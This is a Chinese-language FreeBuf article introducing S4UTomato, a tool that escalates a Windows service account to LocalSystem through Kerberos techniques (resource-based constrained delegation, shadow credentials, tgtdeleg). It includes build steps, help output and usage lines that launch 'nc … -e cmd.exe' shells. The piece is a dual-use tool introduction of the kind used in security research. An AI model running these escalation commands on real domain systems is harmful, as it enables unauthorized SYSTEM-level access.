freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

如何使用S4UTomato通过Kerberos将服务账号提权为LocalSystem
Alpha_h4ck 2023-11-17 22:23:01 139461


关于S4UTomato

S4UTomato是一款功能强大的权限提升工具,该工具专为蓝队研究人员设计,可以通过Kerberos将服务账号(Service Account)权限提升为LocalSystem。

工具运行机制

熟悉“Potato”系列权限提升工具的研究人员肯定知道,这类工具可以将服务账号提升为本地系统权限,“Potato”所使用的技术和S4UTomato类似,即利用COM接口的特定功能,欺骗NT AUTHORITY\SYSTEM账号跟攻击者控制的RPC服务器进行连接,并完成身份认证。接下来,通过一系列API调用,并在身份认证过程中执行中间人攻击(NTLM中继),以生成针对目标本地系统中NT AUTHORITY\SYSTEM账号的访问令牌。最后,攻击者将能够获取到这个令牌,然后使用CreateProcessWithToken()或CreateProcessAsUser()函数传递令牌,并创建一个新的进程来获取SYSTEM权限。

Kerbero的角色

在Windows域环境中,SYSTEM、NT AUTHORITY\NETWORK SERVICE和Microsoft虚拟帐户可以用于对加入域的系统计算机帐户进行身份验证,而在现代版本的Windows中,大多数Windows服务默认使用Microsoft虚拟帐户运行。值得注意的是,IIS和MSSQL也在使用这些虚拟帐户。因此,我们可以使用S4UTomato来获取本地机器上域管理员帐户“administrator”的服务凭证,然后在SCMUACBypass工具的帮助下,利用该凭证创建系统服务并获得SYSTEM权限。

在计算机加入域的任意情况下,只要我们能够在Windows服务帐户或Microsoft虚拟帐户的上下文下运行代码,就可以利用上述技术进行本地权限提升。

在执行操作之前,我们需要为本地设备账户获取TGT,但由于服务账户权限的限制,导致我们无法获取到长期密钥,因此无法构造KRB_AS_REQ请求。为了实现上述目标,S4UTomato利用了三种技术:基于资源的约束委派影子凭据Tgtdeleg

工具下载

由于该工具基于C#开发,因此我们首先需要在本地设备上安装并配置好最新版本的Visual Studio。

接下来,广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/wh0amitz/S4UTomato.git

然后在Visual Studio中导入项目,并完成代码构建和编译即可。

工具使用帮助

C:\Users\whoami\Desktop>S4UTomato.exe --help

 

S4UTomato 1.0.0-beta

Copyright (c) 2023

 

  -d, --Domain              需要认证的目标域名(FQDN)

  -s, --Server               域控制器或LDAP服务器的主机名称

  -m, --ComputerName        需要创建的新计算机账号

  -p, --ComputerPassword    新创建计算机账号的密码

  -f, --Force               强制更新计算机对象的'msDS-KeyCredentialLink'属性

  -c, --Command             需要运行的程序

  -v, --Verbose              输出Verbose调试信息

  --help                    显示工具帮助信息

  --version                 显示工具版本信息

工具使用演示

通过基于资源的约束委派实现本地特权提升

S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

通过影子凭证实现本地特权提升

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

通过Tgtdeleg实现本地特权提升

# 首先通过Tgtdeleg获取TGT

S4UTomato.exe tgtdeleg

# 然后运行SCMUACBypass 获取SYSTEM权限

S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

项目地址

S4UTomato:【GitHub传送门

参考资料

https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

https://twitter.com/gentilkiwi/status/998219775485661184

https://github.com/GhostPack/Rubeus#tgtdeleg

# 提权 # 权限 # 权限提升 # Windows提权
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Alpha_h4ck 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Alpha_h4ck LV.10
好好学习,天天向上
  • 2359 文章数
  • 1023 关注者
Tetragon:一款基于eBPF的运行时环境安全监控工具
2025-01-21
DroneXtract:一款针对无人机的网络安全数字取证工具
2025-01-21
CNAPPgoat:一款针对云环境的安全实践靶场
2025-01-21
文章目录